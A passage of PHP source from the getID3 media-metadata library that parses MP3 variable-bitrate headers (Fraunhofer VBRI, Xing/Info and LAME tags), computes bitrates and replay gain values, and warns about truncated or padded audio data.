			$thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']);
		}

		$nextframetestoffset = $offset + 1;
		if ($thisfile_mpeg_audio['bitrate'] != 'free') {

			$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];

			if (isset($thisfile_mpeg_audio['framelength'])) {
				$nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength'];
			} else {
				$this->error('Frame at offset('.$offset.') is has an invalid frame length.');
				return false;
			}

		}

		$ExpectedNumberOfAudioBytes = 0;

		////////////////////////////////////////////////////////////////////////////////////
		// Variable-bitrate headers

		if (substr($headerstring, 4 + 32, 4) == 'VBRI') {
			// Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36)
			// specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html

			$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
			$thisfile_mpeg_audio['VBR_method']   = 'Fraunhofer';
			$info['audio']['codec']              = 'Fraunhofer';

			$SideInfoData = substr($headerstring, 4 + 2, 32);

			$FraunhoferVBROffset = 36;

			$thisfile_mpeg_audio['VBR_encoder_version']     = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  4, 2)); // VbriVersion
			$thisfile_mpeg_audio['VBR_encoder_delay']       = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  6, 2)); // VbriDelay
			$thisfile_mpeg_audio['VBR_quality']             = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  8, 2)); // VbriQuality
			$thisfile_mpeg_audio['VBR_bytes']               = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes
			$thisfile_mpeg_audio['VBR_frames']              = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames
			$thisfile_mpeg_audio['VBR_seek_offsets']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize
			$thisfile_mpeg_audio['VBR_seek_scale']          = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale
			$thisfile_mpeg_audio['VBR_entry_bytes']         = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes
			$thisfile_mpeg_audio['VBR_entry_frames']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames

			$ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes'];

			$previousbyteoffset = $offset;
			for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) {
				$Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes']));
				$FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes'];
				$thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']);
				$thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset;
				$previousbyteoffset += $Fraunhofer_OffsetN;
			}


		} else {

			// Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36)
			// depending on MPEG layer and number of channels

			$VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']);
			$SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4);

			if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) {
				// 'Xing' is traditional Xing VBR frame
				// 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.)
				// 'Info' *can* legally be used to specify a VBR file as well, however.

				// http://www.multiweb.cz/twoinches/MP3inside.htm
				//00..03 = "Xing" or "Info"
				//04..07 = Flags:
				//  0x01  Frames Flag     set if value for number of frames in file is stored
				//  0x02  Bytes Flag      set if value for filesize in bytes is stored
				//  0x04  TOC Flag        set if values for TOC are stored
				//  0x08  VBR Scale Flag  set if values for VBR scale is stored
				//08..11  Frames: Number of frames in file (including the first Xing/Info one)
				//12..15  Bytes:  File length in Bytes
				//16..115  TOC (Table of Contents):
				//  Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file.
				//  Each Byte has a value according this formula:
				//  (TOC[i] / 256) * fileLenInBytes
				//  So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use:
				//  TOC[(60/240)*100] = TOC[25]
				//  and corresponding Byte in file is then approximately at:
				//  (TOC[25]/256) * 5000000
				//116..119  VBR Scale


				// should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME
//				if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					$thisfile_mpeg_audio['VBR_method']   = 'Xing';
//				} else {
//					$ScanAsCBR = true;
//					$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
//				}

				$thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4));

				$thisfile_mpeg_audio['xing_flags']['frames']    = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001);
				$thisfile_mpeg_audio['xing_flags']['bytes']     = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002);
				$thisfile_mpeg_audio['xing_flags']['toc']       = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004);
				$thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008);

				if ($thisfile_mpeg_audio['xing_flags']['frames']) {
					$thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset +  8, 4));
					//$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame
				}
				if ($thisfile_mpeg_audio['xing_flags']['bytes']) {
					$thisfile_mpeg_audio['VBR_bytes']  = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4));
				}

				//if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				//if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				if (!empty($thisfile_mpeg_audio['VBR_frames'])) {
					$used_filesize  = 0;
					if (!empty($thisfile_mpeg_audio['VBR_bytes'])) {
						$used_filesize = $thisfile_mpeg_audio['VBR_bytes'];
					} elseif (!empty($info['filesize'])) {
						$used_filesize  = $info['filesize'];
						$used_filesize -= (isset($info['id3v2']['headerlength']) ? intval($info['id3v2']['headerlength']) : 0);
						$used_filesize -= (isset($info['id3v1']) ? 128 : 0);
						$used_filesize -= (isset($info['tag_offset_end']) ? $info['tag_offset_end'] - $info['tag_offset_start'] : 0);
						$this->warning('MP3.Xing header missing VBR_bytes, assuming MPEG audio portion of file is '.number_format($used_filesize).' bytes');
					}

					$framelengthfloat = $used_filesize / $thisfile_mpeg_audio['VBR_frames'];

					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						//$info['audio']['bitrate'] = ((($framelengthfloat / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
						$info['audio']['bitrate'] = ($framelengthfloat / 4) * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						//$info['audio']['bitrate'] = (($framelengthfloat - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
						$info['audio']['bitrate'] = $framelengthfloat * $thisfile_mpeg_audio['sample_rate'] * (2 / $info['audio']['channels']) / 144;
					}
					$thisfile_mpeg_audio['framelength'] = (int) floor($framelengthfloat);
				}

				if ($thisfile_mpeg_audio['xing_flags']['toc']) {
					$LAMEtocData = substr($headerstring, $VBRidOffset + 16, 100);
					for ($i = 0; $i < 100; $i++) {
						$thisfile_mpeg_audio['toc'][$i] = ord($LAMEtocData[$i]);
					}
				}
				if ($thisfile_mpeg_audio['xing_flags']['vbr_scale']) {
					$thisfile_mpeg_audio['VBR_scale'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 116, 4));
				}


				// http://gabriel.mp3-tech.org/mp3infotag.html
				if (substr($headerstring, $VBRidOffset + 120, 4) == 'LAME') {

					// shortcut
					$thisfile_mpeg_audio['LAME'] = array();
					$thisfile_mpeg_audio_lame    = &$thisfile_mpeg_audio['LAME'];


					$thisfile_mpeg_audio_lame['long_version']  = substr($headerstring, $VBRidOffset + 120, 20);
					$thisfile_mpeg_audio_lame['short_version'] = substr($thisfile_mpeg_audio_lame['long_version'], 0, 9);

					//$thisfile_mpeg_audio_lame['numeric_version'] = str_replace('LAME', '', $thisfile_mpeg_audio_lame['short_version']);
					$thisfile_mpeg_audio_lame['numeric_version'] = '';
					if (preg_match('#^LAME([0-9\\.a-z]*)#', $thisfile_mpeg_audio_lame['long_version'], $matches)) {
						$thisfile_mpeg_audio_lame['short_version']   = $matches[0];
						$thisfile_mpeg_audio_lame['numeric_version'] = $matches[1];
					}
					if (strlen($thisfile_mpeg_audio_lame['numeric_version']) > 0) {
						foreach (explode('.', $thisfile_mpeg_audio_lame['numeric_version']) as $key => $number) {
							$thisfile_mpeg_audio_lame['integer_version'][$key] = intval($number);
						}
						//if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.90') {
						if ((($thisfile_mpeg_audio_lame['integer_version'][0] * 1000) + $thisfile_mpeg_audio_lame['integer_version'][1]) >= 3090) { // cannot use string version compare, may have "LAME3.90" or "LAME3.100" -- see https://github.com/JamesHeinrich/getID3/issues/207

							// extra 11 chars are not part of version string when LAMEtag present
							unset($thisfile_mpeg_audio_lame['long_version']);

							// It the LAME tag was only introduced in LAME v3.90
							// https://wiki.hydrogenaud.io/index.php/LAME#VBR_header_and_LAME_tag
							// https://hydrogenaud.io/index.php?topic=9933

							// Offsets of various bytes in http://gabriel.mp3-tech.org/mp3infotag.html
							// are assuming a 'Xing' identifier offset of 0x24, which is the case for
							// MPEG-1 non-mono, but not for other combinations
							$LAMEtagOffsetContant = $VBRidOffset - 0x24;

							// shortcuts
							$thisfile_mpeg_audio_lame['RGAD']    = array('track'=>array(), 'album'=>array());
							$thisfile_mpeg_audio_lame_RGAD       = &$thisfile_mpeg_audio_lame['RGAD'];
							$thisfile_mpeg_audio_lame_RGAD_track = &$thisfile_mpeg_audio_lame_RGAD['track'];
							$thisfile_mpeg_audio_lame_RGAD_album = &$thisfile_mpeg_audio_lame_RGAD['album'];
							$thisfile_mpeg_audio_lame['raw'] = array();
							$thisfile_mpeg_audio_lame_raw    = &$thisfile_mpeg_audio_lame['raw'];

							// byte $9B  VBR Quality
							// This field is there to indicate a quality level, although the scale was not precised in the original Xing specifications.
							// Actually overwrites original Xing bytes
							unset($thisfile_mpeg_audio['VBR_scale']);
							$thisfile_mpeg_audio_lame['vbr_quality'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0x9B, 1));

							// bytes $9C-$A4  Encoder short VersionString
							$thisfile_mpeg_audio_lame['short_version'] = substr($headerstring, $LAMEtagOffsetContant + 0x9C, 9);

							// byte $A5  Info Tag revision + VBR method
							$LAMEtagRevisionVBRmethod = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA5, 1));

							$thisfile_mpeg_audio_lame['tag_revision']   = ($LAMEtagRevisionVBRmethod & 0xF0) >> 4;
							$thisfile_mpeg_audio_lame_raw['vbr_method'] =  $LAMEtagRevisionVBRmethod & 0x0F;
							$thisfile_mpeg_audio_lame['vbr_method']     = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']);
							$thisfile_mpeg_audio['bitrate_mode']        = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr'

							// byte $A6  Lowpass filter value
							$thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100;

							// bytes $A7-$AE  Replay Gain
							// https://web.archive.org/web/20021015212753/http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html
							// bytes $A7-$AA : 32 bit floating point "Peak signal amplitude"
							if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') {
								// LAME 3.94a16 and later - 9.23 fixed point
								// ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375
								$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608);
							} else {
								// LAME 3.94a15 and earlier - 32-bit floating point
								// Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15
								$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4));
							}
							if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) {
								unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
							} else {
								$thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
							}

							$thisfile_mpeg_audio_lame_raw['RGAD_track']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2));
							$thisfile_mpeg_audio_lame_raw['RGAD_album']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2));


							if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) {

								$thisfile_mpeg_audio_lame_RGAD_track['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9;
								$thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] =  $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF;
								$thisfile_mpeg_audio_lame_RGAD_track['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']);
								$thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']);
								$thisfile_mpeg_audio_lame_RGAD_track['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']);

								if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
									$info['replay_gain']['track']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
								}
								$info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator'];
								$info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db'];
							} else {
								unset($thisfile_mpeg_audio_lame_RGAD['track']);
							}
							if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) {

								$thisfile_mpeg_audio_lame_RGAD_album['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9;
								$thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF;
								$thisfile_mpeg_audio_lame_RGAD_album['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']);
								$thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']);
								$thisfile_mpeg_audio_lame_RGAD_album['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']);

								if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
									$info['replay_gain']['album']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
								}
								$info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator'];
								$info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db'];
							} else {
								unset($thisfile_mpeg_audio_lame_RGAD['album']);
							}
							if (empty($thisfile_mpeg_audio_lame_RGAD)) {
								unset($thisfile_mpeg_audio_lame['RGAD']);
							}


							// byte $AF  Encoding flags + ATH Type
							$EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1));
							$thisfile_mpeg_audio_lame['encoding_flags']['nspsytune']   = (bool) ($EncodingFlagsATHtype & 0x10);
							$thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20);
							$thisfile_mpeg_audio_lame['encoding_flags']['nogap_next']  = (bool) ($EncodingFlagsATHtype & 0x40);
							$thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']  = (bool) ($EncodingFlagsATHtype & 0x80);
							$thisfile_mpeg_audio_lame['ath_type']                      =         $EncodingFlagsATHtype & 0x0F;

							// byte $B0  if ABR {specified bitrate} else {minimal bitrate}
							$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1));
							if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR)
								$thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
							} elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR)
								// ignore
							} elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate
								$thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
							}

							// bytes $B1-$B3  Encoder delays
							$EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3));
							$thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12;
							$thisfile_mpeg_audio_lame['end_padding']   =  $EncoderDelays & 0x000FFF;

							// byte $B4  Misc
							$MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1));
							$thisfile_mpeg_audio_lame_raw['noise_shaping']       = ($MiscByte & 0x03);
							$thisfile_mpeg_audio_lame_raw['stereo_mode']         = ($MiscByte & 0x1C) >> 2;
							$thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5;
							$thisfile_mpeg_audio_lame_raw['source_sample_freq']  = ($MiscByte & 0xC0) >> 6;
							$thisfile_mpeg_audio_lame['noise_shaping']       = $thisfile_mpeg_audio_lame_raw['noise_shaping'];
							$thisfile_mpeg_audio_lame['stereo_mode']         = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']);
							$thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality'];
							$thisfile_mpeg_audio_lame['source_sample_freq']  = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']);

							// byte $B5  MP3 Gain
							$thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true);
							$thisfile_mpeg_audio_lame['mp3_gain_db']     = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain'];
							$thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6));

							// bytes $B6-$B7  Preset and surround info
							$PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2));
							// Reserved                                                    = ($PresetSurroundBytes & 0xC000);
							$thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800);
							$thisfile_mpeg_audio_lame['surround_info']     = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']);
							$thisfile_mpeg_audio_lame['preset_used_id']    = ($PresetSurroundBytes & 0x07FF);
							$thisfile_mpeg_audio_lame['preset_used']       = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame);
							if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) {
								$this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org');
							}
							if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) {
								// this may change if 3.90.4 ever comes out
								$thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3';
							}

							// bytes $B8-$BB  MusicLength
							$thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4));
							$ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']);

							// bytes $BC-$BD  MusicCRC
							$thisfile_mpeg_audio_lame['music_crc']    = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2));

							// bytes $BE-$BF  CRC-16 of Info Tag
							$thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2));


							// LAME CBR
							if (($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) && ($thisfile_mpeg_audio['bitrate'] !== 'free')) {

								$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
								$thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']);
								$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
								//if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) {
								//	$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min'];
								//}

							}

						}
					}
				}

			} else {

				// not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header)
				$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
				if ($recursivesearch) {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) {
						$recursivesearch = false;
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
					}
					if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') {
						$this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.');
					}
				}

			}

		}

		if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) {
			if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) {
				if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) {
					// ignore, audio data is broken into chunks so will always be data "missing"
				}
				elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) {
					$this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)');
				}
				else {
					$this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)');
				}
			} else {
				if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) {
				//	$prenullbytefileoffset = $this->ftell();
				//	$this->fseek($info['avdataend']);
				//	$PossibleNullByte = $this->fread(1);
				//	$this->fseek($prenullbytefileoffset);
				//	if ($PossibleNullByte === "\x00") {
						$info['avdataend']--;
				//		$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
				//	} else {
				//		$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				//	}
				} else {
					$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
				}
			}
		}

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) {
			if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) {
				$framebytelength = $this->FreeFormatFrameLength($offset, true);
				if ($framebytelength > 0) {
					$thisfile_mpeg_audio['framelength'] = $framebytelength;
					if ($thisfile_mpeg_audio['layer'] == '1') {
						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
						$info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
					} else {
						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
						$info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
					}
				} else {
					$this->error('Error calculating frame length of free-format MP3 without Xing/LAME header');
				}
			}
		}

		if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') {
			switch ($thisfile_mpeg_audio['bitrate_mode']) {
				case 'vbr':
				case 'abr':
					$bytes_per_frame = 1152;
					if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) {
						$bytes_per_frame = 384;
					} elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) {
						$bytes_per_frame = 576;
					}
					$thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0);
					if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) {
						$info['audio']['bitrate']       = $thisfile_mpeg_audio['VBR_bitrate'];
						$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion
					}
					break;
			}
		}

		// End variable-bitrate headers
		////////////////////////////////////////////////////////////////////////////////////

		if ($recursivesearch) {

			if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) {
				return false;
			}
			if (!empty($this->getid3->info['mp3_validity_check_bitrates']) && !empty($thisfile_mpeg_audio['bitrate_mode']) && ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') && !empty($thisfile_mpeg_audio['VBR_bitrate'])) {
				// https://github.com/JamesHeinrich/getID3/issues/287
				if (count(array_keys($this->getid3->info['mp3_validity_check_bitrates'])) == 1) {
					list($cbr_bitrate_in_short_scan) = array_keys($this->getid3->info['mp3_validity_check_bitrates']);
					$deviation_cbr_from_header_bitrate = abs($thisfile_mpeg_audio['VBR_bitrate'] - $cbr_bitrate_in_short_scan) / $cbr_bitrate_in_short_scan;
					if ($deviation_cbr_from_header_bitrate < 0.01) {
						// VBR header bitrate may differ slightly from true bitrate of frames, perhaps accounting for overhead of VBR header frame itself?
						// If measured CBR bitrate is within 1% of specified bitrate in VBR header then assume that file is truly CBR
						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
